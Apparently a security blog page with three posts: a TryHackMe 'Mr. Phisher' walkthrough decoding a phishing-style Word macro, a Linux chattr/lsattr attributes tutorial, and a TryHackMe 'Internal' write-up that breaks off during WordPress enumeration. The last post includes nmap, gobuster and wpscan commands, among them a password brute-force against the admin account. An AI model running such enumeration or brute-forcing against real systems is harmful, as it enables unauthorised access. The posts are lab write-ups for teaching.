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Showing posts with label penetration testing. Show all posts
Showing posts with label penetration testing. Show all posts
  • Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     

     

    We'll be looking at a tryhackme room called MrPhisher so it says that i received a suspicious email with a very weird looking attachment it keeps on asking me to enable Macros what are those so this straight away gives us a hint that we are going to deal with Macros So, Macros is a type of scripting language that you know you can embed in a excel or a word file so that it can even try to automate things to an extent so nothing challenging it just says that files you need are located in the home ubuntu MrPhisher on virtual machine and i have the vm(virtual machine) open up right here.
     

     

    When we start the machine, we found two files in home directory. “MrPhisher.docm” is a document with the ability to run macros and the zip file has the same file but compressed.

     

     

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough
     

     

    If we try to get open the file, we see the document indeed contain macros.

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     


    The document shows this one image.


    Now, to view and edit macros using Libre Office, go to Tools menu, choose Macros > Edit Macros. This opens a list of macros available in the currently open document.


    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough



    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough



    This macro contains a visual basic script...

     

    If you want copy this file in your loca;l machine then you can try this with netcat, To make easy the analysis and be able to download needed tools, I transferred the file to my local machine with netcat.

     

    Local machine:


    nc -nlvp <PORT> > MrPhisher.docm


    Remote machine:


    Setting listener and getting file.

    nc <IP> <PORT> < MyPhisher.docm



    As a note, is important to verify the integrity of the transferred file, in previous images you can see I checked MD5 hash, and it’s the same.

    via md5sum

    md5sum MrPhisher.docm
     


    But we will use into vm direct.. this code is here...

     

     

     

    Rem Attribute VBA_ModuleType=VBAModule
    Option VBASupport 1
    
    Sub Format()
    
    Dim a()
    
    Dim b As String
    
    a = Array(102, 109, 99, 100, 127, 100, 53, 62, 105, 57, 61, 106, 62, 62, 55, 110, 113, 114, 118, 39, 36, 118, 47, 35, 32, 125, 34, 46, 46, 124, 43, 124, 25, 71, 26, 71, 21, 88)
    
    For i = 0 To UBound(a)
    
    b = b & Chr(a(i) Xor i)
    
    Next
    
    End Sub
    

     

     

     

    Three things are done here:

    •     XOR operation is done with a value and it's index in the array.
    •     The result of this operation is converted to a character.
    •     This character is appended to a string. The resulting string is a flag for this challenge.



    I wrote a Python script to solve this challenge. The code can be found down below.

     

     

    #! /usr/bin/env python3
    
    # Values array
    a = [102, 109, 99, 100, 127, 100, 53, 62, 105, 57, 61, 106, 62, 62, 55, 110, 113, 114, 118, 39, 36, 118, 47, 35, 32, 125, 34, 46, 46, 124, 43, 124, 25, 71, 26, 71, 21, 88]
    
    # Array to store letters
    flag = []
    
    # Do XOR operation with a value and it's index
    for i in range(len(a)):
        flag.append(chr(a[i] ^ int(i)))
    
    # Join letters to a word
    print("".join(flag))
    

     

     

    Lets Run

     

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     

     

     
    ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
    ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
    ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
    ubuntu@thm-mr-phisher:~/mrphisher$ python3 hackingtruth-oledump.py
    flag{a39a07a239aacd40c948d852a5c9f8d1}
    ubuntu@thm-mr-phisher:~/mrphisher$ #hackingtruth.org
    ubuntu@thm-mr-phisher:~/mrphisher$ #hackingtruth.in
    ubuntu@thm-mr-phisher:~/mrphisher$ 
    
    
    

     

     

    Done.

     

     


    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.


  • chattr Command with Permissions and Attributes on Linux


     

    chattr Command with Permissions and Attributes on Linux

     

     

    Apart from usual read, write, and execute file permissions, Linux documents (files) have another set of attribute that control other characteristics of the file.


    Permissions and Attributes


    In Linux, who can access a file and what they can do with it is controlled by a user-centric set of permissions. Whether you can read the contents of a file, write new data into the file, or execute a file if it is a script or a program, is all governed by that set of permissions. The permissions are applied to the file, but they define the restrictions and capabilities for different categories of user.

    There are permissions for the owner of the file, for the group of the file, and for others—that is, users who are not in the first two categories. You can use the ls command with the -l (long listing) option to see the permissions on a file or directory.

    We can see that file permissions are user-centeric because they have choices to remove permissions at the user level. By contrast, the attributes of a file system centric. Like persmissions, they're set on the file or directory. But once they're set, they're the same for all users.

    Attrbiutes are a separate collection of settings from permissions. Attributes control characteristics such as immutability and other file system-level behaviors. To see the attributes of a file or directory we use the lsattr command. To set the attributes we use the chattr command.


    Inode File system 


    Permissions and attributes are stored inside inodes. An inode is a file system structure that holds information about file system objects such as files and directories. A file’s location on the hard drive, its creation date, its permissions, and its attributes are all stored within its inode.

    Because different file systems have different underlying structures and capabilities, attributes can behave differently—or be completely ignored—by some file systems. In this article, we’re using ext4 which is the default file system for many Linux distributions.



    Looking at a File’s Attributes


    The chattr and lsattr commands will already be present on your computer so there’s no need to install anything.

    To check the attributes on the files in the current directory, use lsattr:

    lsattr



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr 
    --------------e------- ./f.txt
    --------------e------- ./a.txt
    --------------e------- ./e.txt
    --------------e------- ./g.txt
    --------------e------- ./b.txt
    --------------e------- ./atul.txt
    --------------e------- ./hackingtruth.txt
    --------------e------- ./c.txt
    --------------e------- ./d.txt
    --------------e------- ./atulkumar.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
     
     
     


     

     The dashed lines are placeholders for attributes that are not set. The only attribute that is set is the e (extents) attribute. This shows that the file system inodes are using—or will use if required—extents to point to all portions of the file on the hard drive.


    If the file is held in one contiguous sequence of hard drive blocks, its inode only has to record the first and last blocks used to store the file. If the file is fragmented, the inode has to record the number of the first and last block of each piece of the file. These pairs of hard drive block numbers are called extents.



    This is the list of the most commonly used attributes.


    a: Append only. A file with this attribute can only be appended to. It can still be written to, but only at the end of the file. It is not possible to overwrite any of the existing data within the file.


    c: Compressed. The file is automatically compressed on the hard drive and uncompressed when it is read. Data written to the files is compressed before it is written to the hard drive.


    A: No atime updates. The atime is a value in an inode that records the last time a file was accessed.


    C: No copy-on-write. If two processes request access to a file, they can be given pointers to the same file. They are only given their own unique copy of the file if they try to write to the file, making it unique to that process.


    d: No dump. The Linux dump command is used to write copies of entire file systems to backup media. This attribute makes dump ignore the file. It is excluded from the backup.


    D: Synchronous directory updates. When this attribute is turned on for a directory, all changes to that directory are written synchronously—that is, immediately—on the hard drive. Data operations can be buffered.


    e: Extent format. The e attribute indicates that the file system is using extents to map the location of the file on the hard drive. You cannot change this with chattr. It is a function of the operation of the file system.


    i: Immutable. An immutable file cannot be modified, including renaming and deleting. The root user is the only person who can set or unset this attribute.


    s: Secure deletion. When a file with this attribute set is deleted, the hard drive blocks that held the file data are overwritten with bytes containing zeroes. Note that this is not honored by the ext4 file system.


    S: Synchronous updates. Changes to a file with its S attribute set are written to the file synchronously.


    u: Deleting a file that has its u attribute set causes a copy of the file to be made. This can be beneficial to file recovery if the file was removed in error.




    Changing a File’s Attributes



    The chattr command lets us change the attributes of a file or directory. We can use the + (set) and - (unset) operators to apply or remove an attribute, similar to the chmod command and permissions.

    The chattr command also has an = (set only) operator. This sets the attributes of a file or directory to only the attributes that are specified in the command. That is, all attributes not listed on the command line are unset.



    Setting the Append Only Attribute



    If you want use a: append attributes then if you want to change the overwrite the file and add something, but it is not possible because A file with this attribute can only be appended to. It can still be written to, but only at the end of the file. It is not possible to overwrite any of the existing data within the file.






    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ echo "Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d" > atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ cat atul.txt      
    Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo chattr +a atul.txt                                   
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr
    --------------e------- ./f.txt
    --------------e------- ./a.txt
    --------------e------- ./e.txt
    --------------e------- ./g.txt
    --------------e------- ./b.txt
    -----a--------e------- ./atul.txt
    --------------e------- ./hackingtruth.txt
    --------------e------- ./c.txt
    --------------e------- ./d.txt
    --------------e------- ./atulkumar.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ echo "Qm" > atul.txt 
    zsh: operation not permitted: atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$               
    
    
    
    
    

     

    We’ll redirect the output from ls into the file:

    ls -l > text-file.txt

    sudo ls -l > text-file.txt



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt
    -----a--------e------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ ls -la > atul.txt 
    zsh: operation not permitted: atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo ls -la > atul.txt                                                                                                                              1 ⨯
    zsh: operation not permitted: atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$                                                                                                                                                     1 ⨯
    
    
    
    






    The operation is not permitted, even if we use the sudo command.

    If we use two angle brackets  “>>” to redirect output it is appended to the existing data in the file. That should be acceptable to our append-only text file.

    sudo ls -l >> text-file.txt


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt     
    -----a--------e------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ cat  atul.txt 
    Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo ls -l >> atul.txt 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ cat  atul.txt
    Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
    total 8
    -rwxrwxrwx 1 root      1006  0 May  2 08:57 atulkumar.txt
    -rw-r--r-- 1 hackerboy root 41 May  3 12:59 atul.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 a.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 b.txt
    -rwxrwxrwx 1 hackerboy root 40 May  3 13:01 c.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 d.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 e.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 f.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 g.txt
    -rwxrwxrwx 1 root      1006  0 May  2 08:57 hackingtruth.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
    
    
    
    






    Although we can append data to the file, that is the only change we can make to it. We can’t delete it and neither can root.

    rm text-file.txt

    sudo rm text-file.txt





    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt       
    -----a--------e------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ rm atul.txt         
    rm: cannot remove 'atul.txt': Operation not permitted
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo rm atul.txt                                                                                                                                    1 ⨯
    rm: cannot remove 'atul.txt': Operation not permitted
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$                                                                                                                                                     1 ⨯
    
    
    
    






    Don’t Rely on Secure Deletion on ext4



    As we pointed out, some operating systems do not support all of the attributes. The secure delete attribute is not honored by the ext family of file systems, including ext4. Don’t rely on this for the secure deletion of files.

    It’s easy to see that this doesn’t work in ext4. We’ll set the s (secure deletion) attribute on a text file.



    sudo chattr +s atul.txt


    s: Secure deletion. When a file with this attribute set is deleted, the hard drive blocks that held the file data are overwritten with bytes containing zeroes. Note that this is not honored by the ext4 file system.


    What we’re going to do is find out the inode that holds the metadata about this file. The inode holds the first hard drive block occupied by the file. The file contains some lorem ipsum placeholder text.
    Advertisement

    We’ll read that block directly from the hard drive to verify we’re reading the correct hard drive location. We’ll delete the file and then read that same hard dive block once more. If the secure deletion attribute is being honored, we should read zeroed bytes.

    We can find the inode of the file by using the hdparm command with the --fibmap (file block map) option.

    sudo hdparm --fibmap third-file.txt




    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt          
    -----a--------e------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ chattr +s atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt   
    s----a--------e------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo hdparm --fibmap  atul.txt
    
    atul.txt:
     filesystem blocksize 4096, begins at LBA 872241152; assuming 512 byte sectors.
     byte_offset  begin_LBA    end_LBA    sectors
               0  931425384  931425391          8
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
    




    The first hard drive block is 18100656. We’ll use the dd command to read it.

    The options are:
     

    • if=/dev/sda: Read from the first hard drive on this computer. 
    • bs=512: Use a hard drive block size of 512 bytes.
    • skip=18100656: Skip all blocks before block 18100656. In other words, start reading at block 18100656.
    • count=1: Read one block of data.


     

    sudo dd if=/dev/sda bs=512 skip=18100656 count=1


    As expected we see the lorem ipsum placeholder text. We’re reading the correct block on the hard drive.


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo dd if=/dev/sda bs=512 skip=931425384 count=1
    Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
    total 8
    -rwxrwxrwx 1 root      1006  0 May  2 08:57 atulkumar.txt
    -rw-r--r-- 1 hackerboy root 41 May  3 12:59 atul.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 a.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 b.txt
    -rwxrwxrwx 1 hackerboy root 40 May  3 13:01 c.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 d.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 e.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 f.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 g.txt
    -r1+0 records in
    1+0 records out
    512 bytes copied, 0.0237929 s, 21.5 kB/s
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
                      
    



    Now we’ll delete the file.

    rm third-file.txt



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt
                                                                                                                                       1 ⨯
    s--------------------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ rm atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$                        
    
    
    
    
    

    Again, don’t depend on this for secure deletion on ext4.There are better methods available to delete files so that they can’t be recovered.




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.


  • TryHackMe Penetration Testing Challenge

     

    TryHackMe Penetration Testing Challenge


     

    We have been engaged in a Black-box Penetration Test (IP address may be differ). Our goal is to read the user flag and root flag file on machine. On some of them, you will be required to exploit a Abuse of write permission in Samba service in order to read the flag. TryHackMe Penetration Testing Challenge

    Some Machines are exploitable instantly but some might require exploiting other ones first. Enumerate every compromised machine to identify valuable information, that will help you proceed further into the environment.

    If you are stuck on one of the machines, don't overthink and start pentesting another one.

    When you read the flag file, you can be sure that the machine was successfully compromised. But keep your eyes open - apart from the flag, other useful information may be present on the system.

    You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks. 



    Scope of Work


    The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test).  The client has asked that you secure two flags (no location provided) as proof of exploitation:



        User.txt
        Root.txt



    Additionally, the client has provided the following scope allowances:

        Ensure that you modify your hosts file to reflect internal.thm
        Any tools or techniques are permitted in this engagement
        Locate and note all vulnerabilities found
        Submit the flags discovered to the dashboard
        Only the IP address assigned to your machine is in scope



    (Roleplay off)



    I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.


    Enumeration

    First thing you have to do is that which the machine you  want to attack, you have to append internal.thm and point it to target machines IP address inside hosts file on attacker machine because the reason 1 is.

    As you probably already know, if you make any type of request to any hostname, the domain name gets translated to an IP address. In TCP/IP, only the IP address is transferred and not the hostname. In services such as HTTP(S), you also transfer the hostname in the “Host” HTTP header. If you visit a website through the URL with IP address in it, the Host header will contain the IP address. If you visit the URL with the hostname in it, the Host header will contain that hostname. Then it depends on the web server how it will process the request based on that header. In TLS handshake, you can also send the hostname in the “server_name” extension. So if the underlying back-end services only respond to the hostname, the easiest solution to send it natively is to modify your hosts file. The software that you use (e.g. a web browser) will do the rest. Credits: u/AMDcze (reddit).


    Reason 2: One IP address can host multiple websites on same webserver through virtual hosting (vhost) technique. If by any chance the target server has any multiple websites then it would be hard to figure out which is which. By pointing DNS in hosts file you are actually saying your apps to target only the specific domain.

    Reason 3: What if there are any subdomains? How to enumerate them without domain itself? While enumerating you have to expect that there’s a possibility of subdomain, so that you need domain itself. You can enumerate subdomain through an IP address


    Like :-



    TryHackMe Penetration Testing Challenge





    we do thing like enumeration by nmap and we will check which which ports are open and closed and state, service, version too.

    nmap -sC -sV internal.thm

      
    
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo nmap -sC -sV internal.thm  
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-23 17:48 IST
    Nmap scan report for internal.thm (10.10.133.153)
    Host is up (0.22s latency).
    Not shown: 998 closed tcp ports (reset)
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
    |   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
    |_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: Apache2 Ubuntu Default Page: It works
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 19.27 seconds
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ 
    
     
      
    


    i visited internal.thm with port no 80, 22 etc but i didn't get any clue like any password, username, robots.txt etc.


    But now we will enumeration with gobuster and find out directory and we get a likely wordpress site...


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ gobuster -e .php,.html,.txt dir -u http://10.10.4.254/ -w /usr/share/dirb/wordlists/common.txt
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.10.4.254/
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/dirb/wordlists/common.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Expanded:                true
    [+] Timeout:                 10s
    ===============================================================
    2022/03/21 07:39:49 Starting gobuster in directory enumeration mode
    ===============================================================
    http://10.10.4.254/.htaccess            (Status: 403) [Size: 276]
    http://10.10.4.254/.htpasswd            (Status: 403) [Size: 276]
    http://10.10.4.254/.hta                 (Status: 403) [Size: 276]
    http://10.10.4.254/blog                 (Status: 301) [Size: 309] [--> http://10.10.4.254/blog/]
    http://10.10.4.254/index.html           (Status: 200) [Size: 10918]                             
    http://10.10.4.254/javascript           (Status: 301) [Size: 315] [--> http://10.10.4.254/javascript/]
    http://10.10.4.254/phpmyadmin           (Status: 301) [Size: 315] [--> http://10.10.4.254/phpmyadmin/]
    http://10.10.4.254/server-status        (Status: 403) [Size: 276]                                     
    http://10.10.4.254/wordpress            (Status: 301) [Size: 314] [--> http://10.10.4.254/wordpress/] 
                                                                                                          
    ===============================================================
    2022/03/21 07:41:46 Finished
    ===============================================================
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ #www.kumaratuljaiswal.in    #www.hackingtruth.in                                                   
    
    
    
    



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal] └─$ gobuster -e .php,.html,.txt dir -u http://10.10.4.254/wordpress/ -w /usr/share/dirb/wordlists/common.txt 130 ⨯ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.4.254/wordpress/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/03/21 08:09:54 Starting gobuster in directory enumeration mode =============================================================== http://10.10.4.254/wordpress/.hta (Status: 403) [Size: 276] http://10.10.4.254/wordpress/.htaccess (Status: 403) [Size: 276] http://10.10.4.254/wordpress/.htpasswd (Status: 403) [Size: 276] http://10.10.4.254/wordpress/index.php (Status: 301) [Size: 0] [--> http://10.10.4.254/wordpress/] http://10.10.4.254/wordpress/wp-admin (Status: 301) [Size: 323] [--> http://10.10.4.254/wordpress/wp-admin/] http://10.10.4.254/wordpress/wp-content (Status: 301) [Size: 325] [--> http://10.10.4.254/wordpress/wp-content/] http://10.10.4.254/wordpress/wp-includes (Status: 301) [Size: 326] [--> http://10.10.4.254/wordpress/wp-includes/] http://10.10.4.254/wordpress/xmlrpc.php (Status: 405) [Size: 42] =============================================================== 2022/03/21 08:12:12 Finished =============================================================== ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal] └─$


    we will get a /blog directory and now we will visit..



    TryHackMe Penetration Testing Challenge




    As you can see from above on going process, it already found a directory that is /blog. If we visit http://internal.thm/blog then we see a blog with one single post named as “Hello World”.


    It’s obvious now that this is designed using WordPress application. We have a user called “admin”, who posted this blog.


    When we go to internal.thm/blog and you can see there are hello world printed wordpress website and if you do research when you have to go "view page source" and to do that press ctrl+f and type ver.

    so you can see that the version and theme is twentyseven and version is 5.4.2

    lets exploit because i think there are some exploitation code available for this version and the theme...


    internal.thm/blog/?author=1



    TryHackMe Penetration Testing Challenge


     

    Otherwise we get a login page also but we don't have any password..

     


    TryHackMe Penetration Testing Challenge


    Wordpress enumeration



    Browsing /blog confirms our assumption, this is a Wordpress blog. Let’s enumerate the users with wpscan:

    wpscan --url http://10.10.4.254/blog -e u


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo wpscan --url http://10.10.4.254/blog -e u 
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.20
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [i] It seems like you have not updated the database for some time.
    [?] Do you want to update now? [Y]es [N]o, default: [N]
    [+] URL: http://10.10.4.254/blog/ [10.10.4.254]
    [+] Started: Mon Mar 21 08:35:39 2022
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    [+] XML-RPC seems to be enabled: http://10.10.4.254/blog/xmlrpc.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
     | References:
     |  - http://codex.wordpress.org/XML-RPC_Pingback_API
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
     |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
    
    [+] WordPress readme found: http://10.10.4.254/blog/readme.html
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
    
    [+] The external WP-Cron seems to be enabled: http://10.10.4.254/blog/wp-cron.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 60%
     | References:
     |  - https://www.iplocation.net/defend-wordpress-from-ddos
     |  - https://github.com/wpscanteam/wpscan/issues/1299
    
    [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
     | Found By: Emoji Settings (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
     | Confirmed By: Meta Generator (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'WordPress 5.4.2'
    
    [i] The main theme could not be detected.
    
    [+] Enumerating Users (via Passive and Aggressive Methods)
     Brute Forcing Author IDs - Time: 00:00:02 <==============================================================================================================> (10 / 10) 100.00% Time: 00:00:02
    
    [i] User(s) Identified:
    
    [+] admin
     | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
     | Confirmed By: Login Error Messages (Aggressive Detection)
    
    [!] No WPScan API Token given, as a result vulnerability data has not been output.
    [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
    
    [+] Finished: Mon Mar 21 08:36:13 2022
    [+] Requests Done: 49
    [+] Cached Requests: 4
    [+] Data Sent: 11.302 KB
    [+] Data Received: 240.52 KB
    [+] Memory used: 123.637 MB
    [+] Elapsed time: 00:00:33
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ 
    
    
    
    
    
    
    

    According to WPScan, the only user is admin. Let’s try to brute force the password, using the bruteforce feature of WPScan:

    wpscan --url http://10.10.4.254/blog  --usernames admin --passwords /home/hackerboy/Desktop/tryhackme-internal/rockyou.txt


    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ sudo wpscan --url http://10.10.4.254/blog  --usernames admin --passwords /home/hackerboy/Desktop/tryhackme-internal/rockyou.txt
    [sudo] password for hackerboy: 
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.20
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [i] It seems like you have not updated the database for some time.
    [?] Do you want to update now? [Y]es [N]o, default: [N]
    [+] URL: http://10.10.4.254/blog/ [10.10.4.254]
    [+] Started: Mon Mar 21 08:53:33 2022
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    [+] XML-RPC seems to be enabled: http://10.10.4.254/blog/xmlrpc.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
     | References:
     |  - http://codex.wordpress.org/XML-RPC_Pingback_API
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
     |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
